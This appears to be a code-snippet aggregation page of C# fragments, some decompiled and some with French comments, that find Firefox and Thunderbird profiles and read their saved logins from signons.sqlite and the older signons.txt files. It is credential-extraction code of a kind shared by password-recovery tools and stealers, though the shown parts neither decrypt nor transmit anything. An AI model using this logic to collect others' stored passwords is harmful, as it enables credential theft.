Exemplo n.º 1
0
        // Token: 0x06000157 RID: 343 RVA: 0x000051C0 File Offset: 0x000033C0
        private void ReadSqlite(MozillaSoft soft, string profile_path, MozillaProfile.MozillaVersion version)
        {
            string text = Path.Combine(profile_path, "signons.sqlite");

            if (File.Exists(text))
            {
                using (SQLiteConnection sqliteConnection = new SQLiteConnection(string.Format("Data Source=\"{0}\";Version=3;", text)))
                {
                    sqliteConnection.Open();
                    using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT hostname FROM moz_disabledHosts", sqliteConnection))
                    {
                        using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
                        {
                            while (sqliteDataReader.Read())
                            {
                                this.no_save_sites.Add(sqliteDataReader.GetString(0));
                            }
                        }
                    }
                    using (SQLiteCommand sqliteCommand2 = new SQLiteCommand("SELECT hostname,httpRealm,formSubmitURL,usernameField,passwordField,encryptedUsername,encryptedPassword FROM moz_logins", sqliteConnection))
                    {
                        using (SQLiteDataReader sqliteDataReader2 = sqliteCommand2.ExecuteReader())
                        {
                            while (sqliteDataReader2.Read())
                            {
                                this.password_list.Add(new MozillaPassword(soft, profile_path, sqliteDataReader2.GetValue(0).ToString(), sqliteDataReader2.GetValue(3).ToString(), sqliteDataReader2.GetValue(4).ToString(), sqliteDataReader2.GetValue(5).ToString(), sqliteDataReader2.GetValue(6).ToString(), sqliteDataReader2.GetValue(1).ToString(), sqliteDataReader2.GetValue(2).ToString()));
                            }
                            sqliteDataReader2.Close();
                        }
                    }
                    sqliteConnection.Close();
                }
            }
        }
Exemplo n.º 2
0
 // Token: 0x0600013D RID: 317 RVA: 0x00004B7C File Offset: 0x00002D7C
 public MozillaProfile(MozillaSoft soft, string profiles_ini_dir, string name, string path, bool relative)
 {
     this.m_name             = name;
     this.m_relative         = relative;
     this.m_profile_path     = path;
     this.m_profiles_ini_dir = profiles_ini_dir;
     this.m_soft             = soft;
 }
Exemplo n.º 3
0
        // Token: 0x0600013F RID: 319 RVA: 0x00004BF4 File Offset: 0x00002DF4
        public MozillaProfiles(MozillaSoft soft)
        {
            this.profiles = new List <MozillaProfile>();
            string text = null;

            switch (soft)
            {
            case MozillaSoft.FireFox:
                text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox";
                break;

            case MozillaSoft.Thunderbird:
                text = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Thunderbird";
                break;
            }
            string path = text + "\\profiles.ini";

            if (File.Exists(path))
            {
                StreamReader streamReader = new StreamReader(path);
                string       text2        = string.Empty;
                string       name         = string.Empty;
                string       path2        = string.Empty;
                bool         relative     = false;
                text2 = streamReader.ReadLine();
                while (text2 != null)
                {
                    if (text2.ToLower().StartsWith("[profile"))
                    {
                        text2 = streamReader.ReadLine();
                        while (text2 != null && !text2.StartsWith("["))
                        {
                            if (text2.StartsWith("IsRelative="))
                            {
                                relative = (int.Parse(text2.Substring(11)) == 1);
                            }
                            else if (text2.StartsWith("Name="))
                            {
                                name = text2.Substring(5);
                            }
                            else if (text2.StartsWith("Path="))
                            {
                                path2 = text2.Substring(5);
                            }
                            text2 = streamReader.ReadLine();
                        }
                        this.profiles.Add(new MozillaProfile(soft, text, name, path2, relative));
                    }
                    else
                    {
                        text2 = streamReader.ReadLine();
                    }
                }
            }
        }
Exemplo n.º 4
0
 public MozillaPassword(MozillaSoft soft, string profile_dir, string sitename, string username_field, string password_field, string username, string password, string domain)
 {
     this.sitename       = sitename;
     this.username_field = username_field;
     this.password_field = password_field;
     this.username       = username;
     this.password       = password;
     this.domain         = domain;
     this.profile_dir    = profile_dir;
     this.soft           = soft;
 }
Exemplo n.º 5
0
 // Token: 0x06000137 RID: 311 RVA: 0x00004A78 File Offset: 0x00002C78
 public MozillaPassword(MozillaSoft soft, string profile_dir, string sitename, string username_field, string password_field, string username, string password, string domain, string formSubmitURL)
 {
     this.m_sitename = sitename;
     if (this.m_sitename.Contains(" ("))
     {
         this.m_sitename = this.m_sitename.Substring(0, this.m_sitename.IndexOf(" ("));
     }
     this.m_username_field = username_field;
     this.m_password_field = password_field;
     this.m_username       = username;
     this.m_password       = password;
     this.m_domain         = domain;
     this.m_profile_dir    = profile_dir;
     this.m_soft           = soft;
     this.m_formSubmitURL  = formSubmitURL;
 }
Exemplo n.º 6
0
        // Token: 0x06000158 RID: 344 RVA: 0x00005384 File Offset: 0x00003584
        public MozillaSignons(MozillaSoft soft, string profile_path, MozillaProfile.MozillaVersion version)
        {
            this.no_save_sites = new List <string>();
            this.password_list = new List <MozillaPassword>();
            switch (version)
            {
            case MozillaProfile.MozillaVersion.Txt2c:
            case MozillaProfile.MozillaVersion.Txt2d:
            case MozillaProfile.MozillaVersion.Txt2e:
                this.ReadTxt(soft, profile_path, version);
                break;

            case MozillaProfile.MozillaVersion.Sqlite:
                this.ReadSqlite(soft, profile_path, version);
                break;
            }
            this.m_Version = version;
        }
Exemplo n.º 7
0
        public MozillaProfiles(MozillaSoft soft)
        {
            string profiles_ini_dir = null;

            //dossier des profiles suivant le sauf
            switch (soft)
            {
            case MozillaSoft.FireFox:
                profiles_ini_dir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Mozilla\Firefox";
                break;

            case MozillaSoft.Thunderbird:
                profiles_ini_dir = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Thunderbird";
                break;
            }

            string profile_ini = profiles_ini_dir + @"\profiles.ini";

            if (!File.Exists(profile_ini))
            {
                return;
            }

            //ouverture du fichier INI
            StreamReader p_ini = new StreamReader(profile_ini);

            string line = string.Empty;
            string name = string.Empty, path = string.Empty;
            bool   relative = false;

            line = p_ini.ReadLine();
            //tant que l'on n'est pas à la fin du fichier
            while (line != null)
            {
                //si la ligne contient le début de la section d'un profile
                if (line.ToLower().StartsWith("[profile"))
                {
                    line = p_ini.ReadLine();
                    //tant que l'on n'est pas à la fin du profile en cours
                    while (line != null && !line.StartsWith("["))
                    {
                        //récupère les options de la section
                        if (line.StartsWith("IsRelative="))
                        {
                            relative = (int.Parse(line.Substring(11)) == 1 ? true : false);
                        }
                        else if (line.StartsWith("Name="))
                        {
                            name = line.Substring(5);
                        }
                        else if (line.StartsWith("Path="))
                        {
                            path = line.Substring(5);
                        }

                        line = p_ini.ReadLine();
                    }

                    //ajoute le profile récupéré
                    profiles.Add(new MozillaProfile(soft, profiles_ini_dir, name, path, relative));
                }
                //sinon passer la ligne
                else
                {
                    line = p_ini.ReadLine();
                }
            }
        }
Exemplo n.º 8
0
        // Token: 0x06000156 RID: 342 RVA: 0x00005044 File Offset: 0x00003244
        private void ReadTxt(MozillaSoft soft, string profile_path, MozillaProfile.MozillaVersion version)
        {
            string path;

            switch (version)
            {
            case MozillaProfile.MozillaVersion.Txt2c:
                path = Path.Combine(profile_path, "signons.txt");
                break;

            case MozillaProfile.MozillaVersion.Txt2d:
                path = Path.Combine(profile_path, "signons2.txt");
                break;

            case MozillaProfile.MozillaVersion.Txt2e:
                path = Path.Combine(profile_path, "signons3.txt");
                break;

            default:
                throw new InvalidOperationException("Not a text file");
            }
            if (File.Exists(path))
            {
                StreamReader streamReader = new StreamReader(path);
                streamReader.ReadLine();
                string text = string.Empty;
                text = streamReader.ReadLine();
                while (Operators.CompareString(text, ".", false) != 0)
                {
                    this.no_save_sites.Add(text);
                    text = streamReader.ReadLine();
                }
                string domain = string.Empty;
                for (text = streamReader.ReadLine(); text != null; text = streamReader.ReadLine())
                {
                    if (Operators.CompareString(text, string.Empty, false) == 0)
                    {
                        break;
                    }
                    string sitename = text;
                    for (;;)
                    {
                        string text2 = streamReader.ReadLine();
                        if (text2 == null || Operators.CompareString(text2, ".", false) == 0)
                        {
                            break;
                        }
                        string username       = streamReader.ReadLine();
                        string password_field = streamReader.ReadLine().Substring(1);
                        string text3          = streamReader.ReadLine();
                        if (text3.StartsWith("~"))
                        {
                            text3 = text3.Substring(1);
                        }
                        if (version >= MozillaProfile.MozillaVersion.Txt2d)
                        {
                            domain = streamReader.ReadLine();
                        }
                        if (version >= MozillaProfile.MozillaVersion.Txt2e)
                        {
                            streamReader.ReadLine();
                        }
                        this.password_list.Add(new MozillaPassword(soft, profile_path, sitename, text2, password_field, username, text3, domain, string.Empty));
                    }
                }
            }
        }
Exemplo n.º 9
0
        public MozillaSignons(MozillaSoft soft, string profile_path, bool bVersion2)
        {
            //fichier signons dans un profile
            string szSignons = profile_path + @"\signons" + (bVersion2 ? "2" : "") + ".txt";

            if (!File.Exists(szSignons))
            {
                return;
            }

            //lecture de ce fichier txt
            StreamReader signons = new StreamReader(szSignons);

            //lire la ligne de signature (#2c ou #2d)
            signons.ReadLine();
            string line = string.Empty;

            //tant que l'on n'atteint pas une ligne contenant seulement un "."
            while ((line = signons.ReadLine()) != ".")
            {
                //on est dans les sites à ne pas conserver les mots de passes
                no_save_sites.Add(line);
            }

            string username, password, username_field, password_field, sitename, domain = string.Empty;

            //tant que l'on n'est pas à la fin du fichier
            while ((line = signons.ReadLine()) != null)
            {
                //normalement, la dernière ligne du fichier est vide
                if (line == string.Empty)
                {
                    break;
                }

                //un slot est constitué du noms du site suivi d'un ou plusieurs entregistrements
                //contenant les infos pour présaisir le formulaire de login du site
                sitename = line;

                //pour chaque enregistrement de 4 ou 5 lignes
                while (true)
                {
                    //récupère le champs de l'username
                    username_field = signons.ReadLine();
                    //si la ligne est un "." alors enregistrement suivant
                    if (username_field == null || username_field == ".")
                    {
                        break;
                    }
                    username = signons.ReadLine();
                    //le nom du champs de mot de passe est précédé d'une "*"
                    password_field = signons.ReadLine().Substring(1);
                    password       = signons.ReadLine();
                    //pour thunderbird, le mot de passe est précédé d'un ~
                    if (password.StartsWith("~"))
                    {
                        password = password.Substring(1);
                    }
                    //dans la version 2, il y a le nom du domain en +
                    if (bVersion2)
                    {
                        domain = signons.ReadLine();
                    }

                    //ajoute le mot de passe à la liste
                    password_list.Add(new MozillaPassword(soft, profile_path, sitename, username_field, password_field, username, password, domain));
                }
            }
        }